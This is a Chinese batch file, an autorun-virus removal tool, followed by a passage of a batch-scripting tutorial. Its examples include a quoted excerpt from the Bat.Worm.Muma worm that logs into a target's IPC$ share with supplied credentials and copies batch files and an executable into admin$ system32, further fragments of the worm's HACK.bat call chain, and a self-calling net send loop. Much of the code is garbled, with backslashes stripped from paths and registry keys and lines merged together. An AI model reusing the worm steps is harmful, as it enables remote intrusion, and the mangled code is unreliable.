@Echo Off

color 2f

title  Autorun 病毒清除工具-By Phexon

Rem 杀进程

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul



:clearauto

cls

Echo.

Echo Autorun 病毒清除工具

Echo.

Echo.

Echo.

Echo       制作:Phexon

Echo.

Echo 本程序运行后自动清除每个盘符下面的Autorun病毒

Echo 本程序原理是基于读取每个盘符下的Autorun.inf相关字段

Echo.

Echo [1] 仅仅删除所有盘符下的 Autorun 病毒

Echo [2] 删除所有盘符下的 Autorun 病毒并且建立同名免疫目录(推荐!)

Echo [3] 禁用系统的 Autorun 机制以避免 Autorun 病毒的再次感染

Echo [4] 取消所有盘符的 Autorun 病毒免疫

Echo [5] 删除并免疫指定盘符的 Autorun 病毒

Echo [6] 取消免疫指定盘符

Echo [7] 恢复相关注册表项默认值

Echo [0] 退出

Echo.

Set /p clearslt= 请输入您的选择(1/2/3/4/5/6/7/0):

If "%clearslt%"=="" Goto clearauto

If "%clearslt%"=="1" Goto clearauto1

If "%clearslt%"=="2" Goto clearauto2

If "%clearslt%"=="3" Goto clearauto3

If "%clearslt%"=="4" Goto clearauto4

If "%clearslt%"=="5" Goto clearauto5

If "%clearslt%"=="6" Goto clearauto6

If "%clearslt%"=="7" Goto clearauto7

If "%clearslt%"=="0" Exit



:clearauto1

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nul

Del /a /f /q %%a:autorun.inf >nul 2>nul

) >nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nul

Del /a /f /q %%a:autorun.inf >nul 2>nul

) >nul 2>nul

)

cls

Echo Autorun 病毒清除完毕,任意键返回……

pause>nul

Goto clearauto



:clearauto2

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b免疫目录不要删除!..." & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %%a:autorun.inf & md "%%a:autorun.inf免疫目录不要删除!..." & attrib +s +h +r %%a:autorun.inf & Echo Y|cacls "%%a:autorun.inf" /T /C /P everyone:N >nul 2>nul

) >nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b免疫目录不要删除!..." & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %%a:autorun.inf & md "%%a:autorun.inf免疫目录不要删除!..." & attrib +s +h +r %%a:autorun.inf & Echo Y|cacls "%%a:autorun.inf" /T /C /P everyone:N >nul 2>nul

) >nul 2>nul

)

cls

Echo Autorun 病毒清除并免疫完毕,任意键返回……

pause>nul

Goto clearauto



:clearauto3

cls

Echo.

Echo 正在停止相关服务……

Echo.

reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nul

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nul

net stop ShellHWDetection >nul 2>nul

sc config ShellHWDetection start= disabled >nul 2>nul

Rem 添加防止从回收站或仿回收站的目录中直接运行可执行文件的策略

Set REGPATH=HKLMSOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiersPaths

Set SFLAG=/v SaferFlags /t REG_DWORD /d 0x00000000 /f

Set IDATA=/f /v ItemData /d "?:Recyc?

reg add %REGPATH%{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %SFLAG%>nul

reg add %REGPATH%{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %IDATA%****.*">nul


reg add %REGPATH%{41fe7eed-c47a-46f6-840a-240796fd03cf} %SFLAG%>nul

reg add %REGPATH%{41fe7eed-c47a-46f6-840a-240796fd03cf} %IDATA%***.*">nul


reg add %REGPATH%{4e93c91c-a40e-462e-9b89-3b0832d222d9} %SFLAG%>nul

reg add %REGPATH%{4e93c91c-a40e-462e-9b89-3b0832d222d9} %IDATA%*.*">nul


reg add %REGPATH%{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %SFLAG%>nul

reg add %REGPATH%{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %IDATA%****.*">nul


reg add %REGPATH%{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %SFLAG%>nul

reg add %REGPATH%{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %IDATA%*.*">nul


reg add %REGPATH%{5f8ff865-0638-4c6e-98de-923e7bc6b330} %SFLAG%>nul

reg add %REGPATH%{5f8ff865-0638-4c6e-98de-923e7bc6b330} %IDATA%***.*">nul


reg add %REGPATH%{649c1429-0e79-453c-abe9-b5682e035ae7} %SFLAG%>nul

reg add %REGPATH%{649c1429-0e79-453c-abe9-b5682e035ae7} %IDATA%**.*">nul


reg add %REGPATH%{718f54b2-c669-4d7b-aeff-18d69f100034} %SFLAG%>nul

reg add %REGPATH%{718f54b2-c669-4d7b-aeff-18d69f100034} %IDATA%**.*">nul


reg add %REGPATH%{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %SFLAG%>nul

reg add %REGPATH%{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %IDATA%*.*">nul


reg add %REGPATH%{af2a4fcf-441c-421e-9663-52cd3502cfd7} %SFLAG%>nul

reg add %REGPATH%{af2a4fcf-441c-421e-9663-52cd3502cfd7} %IDATA%***.*">nul


reg add %REGPATH%{b997f4b2-c037-4e97-b051-31f5d86df802} %SFLAG%>nul

reg add %REGPATH%{b997f4b2-c037-4e97-b051-31f5d86df802} %IDATA%**.*">nul


reg add %REGPATH%{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} %SFLAG%>nul

reg add %REGPATH%{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} /f /v ItemData /d "RECYC*.*">nul


Rem 清除喜欢利用回收站的移动磁盘自动运行病毒

For %%a In (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) Do (

For %%b In (exe pif com) Do (

Echo Y|cacls "%%a:Recycler*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:Recycled*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:RecycledRecycled*.%%b" /C /T /P everyone:F>nul 2>nul

Del /A /F /S /Q "%%a:Recycler*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:Recycled*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:RecycledRecycled*.%%b">nul 2>nul

)

)>nul 2>nul

Echo.

Echo 相关服务已停止并禁用,任意键返回……

pause >nul

Goto clearauto



:clearauto4

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

cacls "%%a:autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:autorun.inf" & rd /s /q "%%a:autorun.inf">nul 2>nul

)>nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

cacls "%%a:autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:autorun.inf" & rd /s /q "%%a:autorun.inf">nul 2>nul

)>nul 2>nul

)

cls

Echo.

Echo 已经解除全部盘符的免疫,任意键返回……

pause>nul

Goto clearauto




:clearauto5

cls

Echo.

Set /p pf= 请输入盘符,如"F:"(不包括引号)

Echo 即将免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将免疫%pf%盘……

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%a In (%pf%autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a免疫目录不要删除!..." & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %pf%autorun.inf & md "%pf%autorun.inf免疫目录不要删除!..." & attrib +s +h +r %pf%autorun.inf & Echo Y|cacls "%pf%autorun.inf" /T /C /P everyone:N >nul 2>nul

Goto DoneclearAuto

) >nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%a In (%pf%autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a免疫目录不要删除!..." & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %pf%autorun.inf & md "%pf%autorun.inf免疫目录不要删除!..." & attrib +s +h +r %pf%autorun.inf & Echo Y|cacls "%pf%autorun.inf" /T /C /P everyone:N >nul 2>nul

Goto DoneclearAuto

) >nul 2>nul

Echo.

Echo 您所输入的盘符不存在或者是只读设备,

Echo 请重新输入

Goto clearauto5


:DoneclearAuto

cls

Echo.

Echo 指定的磁盘 %pf% 已经成功进行了 Autorun 病毒的清除及免疫

Echo.

Echo [1] 继续免疫其他磁盘

Echo [0] 返回主菜单

Set /p choice= 请输入您的选择(1/0):

If %choice%="" Goto DoneclearAuto

If %choice%="1" Goto clearauto5

If %choice%="0" Goto clearauto




:clearauto6

cls

Echo.

Set /p pf= 请输入盘符,如"F:"(不包括引号)

Echo 即将取消免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将取消免疫%pf%盘……

fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (

cacls "%pf%autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%autorun.inf" & rd /s /q "%pf%autorun.inf">nul 2>nul

Goto DoneUnauto

)>nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (

cacls "%pf%autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%autorun.inf" & rd /s /q "%pf%autorun.inf">nul 2>nul

Goto DoneUnauto

)>nul 2>nul

Echo.

Echo 您所输入的盘符不存在或者是只读设备,

Echo 请重新输入

Goto clearauto6


:DoneUnauto

cls

Echo.

Echo 指定的磁盘 %pf% 已经成功解除了 Autorun 病毒免疫

Echo.

Echo [1] 继续解除免疫其他磁盘

Echo [0] 返回主菜单

Set choice=

Set /p choice= 请输入您的选择(1/0):

If %choice%="" Goto DoneUnauto

If %choice%="1" Goto clearauto6

If %choice%="0" Goto clearauto




:clearauto7

cls

Rem 防止在资源管理器中彻底隐藏文件、禁止文件等

reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t REG_DWORD /d 0x00000001 /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2" /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun" /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v DisallowRun /f>nul 2>nul

Rem 防止转移启动组位置

reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders" /v Startup /d "%USERPROFILE%「开始」菜单程序启动" /f>nul 2>nul

reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders" /v "Common Startup" /d "%ALLUSERSPROFILE%「开始」菜单程序启动" /f>nul 2>nul

Echo.

Echo 相关注册表恢复完毕,任意键返回……

pause>nul

Goto clearauto


这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。


按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为 BATCH ,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就 ok 了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是 DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS 基础一定要牢!当然脑子灵活也是很重要的一方面。

例一

先给出一个最 easy 的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为 name.bat 然后执行(以后文中只给出代码,保存和执行方式类似):

ping sz.tencent.com > a.txtping sz1.tencent.com >> a.txtping sz2.tencent.com >> a.txtping sz3.tencent.com >> a.txtping sz4.tencent.com >> a.txtping sz5.tencent.com >> a.txtping sz6.tencent.com >> a.txtping sz7.tencent.com >> a.txtexit


执行这个批处理后,可以在你的当前盘建立一个名为`a.txt`的文件,它里面记录的信息可以帮助你迅速找到速度最快的 QQ 服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,

是把前面命令得到的东西放到后面所给的地方,`>>`的作用,和`>`的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个`a.txt`文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器 IP,是不是很爽?后面还将详细介绍。

例二

再给出一个已经过时的例子(`a.bat`):

@echo offif exist C:Progra~1TencentAD.gif del C:Progra~1TencentAD.gifa.bat

为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的 QQ 了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除 QQ 的广告,让对话框干干净净。这里用的地址是 QQ 的默认安装地址,默认批处理文件名为`a.bat`,你当然可以根据情况自行修改。在这个脚本中使用了 if 命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的 DOS 窗口,不按 `CTRL+C` 强行终止命令,它就一直监视是否有广告图片( QQ 也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

例三

使用批处理脚本查是否中冰河。脚本内容如下:

@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit

这里利用了`netstat`命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令`&&`和管道命令`|`,后面将详细介绍。

例四

借批处理自动清除系统垃圾,脚本如下:

@echo offif exist c:windows	emp. del c:windows	emp.if exist c:windowsTempor~1. del c:windowsTempor~1.if exist c:windowsHistory. del c:windowsHistory.if exist c:windows
ecent. del c:windows
ecent.

将以上脚本内容保存到`autoexec.bat`里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS 不支持长文件名,所以就出现了`Tempor~1`这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。



看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!


批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的`Bad command or fail name`。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是`Bad command or fail name`,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。


从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见 DOS 命令在批处理脚本中有这广泛的应用,它们是批处理脚本的 BODY 部分,但批处理比 DOS 更灵活多样,更具备自动化。要学好批处理,DOS 一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的 DOS 命令,常用命令如 COPY、DIR 等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。


例五

先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

@echo off::close echocls::clean screenecho This programme is to make the MASM programme automate::display infoecho Edit by CODERED::display infoecho Mailto me : qqkiller@sina.com::display infoif "%1"=="" goto usage::if input without paramater goto usageif "%1"=="/?" goto usage::if paramater is "/?" goto usageif "%1"=="help" goto usage::if paramater is "help" goto usagepause::pause to see usagemasm %1.asm::assemble the .asm codeif errorlevel 1 pause & edit %1.asm::if error pause to see error msg and edit the codelink %1.obj & %1::else link the .obj file and execute the .exe file:usage::set usageecho Usage: This BAT file name [asm file name]echo Default BAT file name is START.BAT::display usage

先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!


在这个脚本中出现了如下几个命令:`@`、`echo`、`::`、`pause`、`:`和`goto`、`%`以及`if`。而这一章就将讲述这几个命令。


1、@

这个符号大家都不陌生,`email` 的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的`@echo off`中,`@`的作用就是让脚本在执行时不显示后面的`echo off`部分。这下懂了吧?还是不太懂?没关系,看完`echo`命令简介,自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了`echo on`和`echo off`两个命令了。直接执行`echo`命令将显示当前`echo`命令状态(`off`或`on`)执行`echo off`将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行`echo on`命令。在例五中,首行的`@`命令和`echo off`命令联合起来,达到了两个目的:不显示`echo off`命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

`echo`命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,`Default BAT file name is START.BAT`将在脚本执行后的窗口中显示,而`echo`命令本身不显示(为什么??)。

`echo`命令的另一种用法二:可以直接编辑文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.batecho nbtstat -A 192.168.0.2 >> a.batecho nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个`a.bat`的文件,直接执行就会得到结果。

 3、::

这个命令的作用很简单,它是注释命令,在批处理脚本中和`rem`命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的`/…………/`类似。地球人都能看懂,就不多说了。

4、pause

中文为“暂停”的意思(看看你的`workman`上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是`masm`程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、`:`和`goto`

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。`goto`是个跳转命令,`:`是一个标签。当程序运行到`goto`时,将自动跳转到`:`定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个`:`,则程序在运行到`goto`时就自动跳转到:标签定义的部分执行,结果是显示脚本`usage`(usage就是标签名称)。不难看出,`goto`命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。`goto`命令也经常和`if`命令结合使用。至于这两个命令具体用法,参照例五。

`goto`命令的另一种用法一:提前结束程序。在程序中间使用`goto`命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……goto end……:end


这里`:end`在脚本最后一行!其实这个例子很弱智,后面讲了`if`命令和组合命令你就知道了。

 6、%

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use \%1ipc$ %3 /u:"%2"copy 11.BAT \%1admin$system32 /ycopy 13.BAT \%1admin$system32 /ycopy ipc2.BAT \%1admin$system32 /ycopy NWZI.EXE \%1admin$system32 /yattrib \%1admin$system3210.bat -r -h -s

以上代码是 Bat.Worm.Muma 病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

7、if

接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧:


if "%1"=="" goto usageif "%1"=="/?" goto usageif "%1"=="help" goto usage

这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句:

if exist C:Progra~1TencentAD.gif del C:Progra~1TencentAD.gif

如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:Progra~1TencentAD.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

masm %1.asmif errorlevel 1 pause & edit %1.asmlink %1.obj

先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:

masm %1.asmif not errorlevel 1 link %1.objpause & edit %1.asm

看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

masm %1.asmif exist %1.obj link %1.objelse pause & edit %1.asm

关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。


IF [NOT] ERRORLEVEL number do commandIF [NOT] string1==string2 do commandIF [NOT] EXIST filename do command

8、call

学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):


start.bat:……CALL 10.BAT 0……10.bat:……ECHO %IPA%.%1 >HFIND.TMP……CALL ipc.bat IPCFind.txtipc.bat:for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。

那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

net send %1 This is a call example.call a.bat

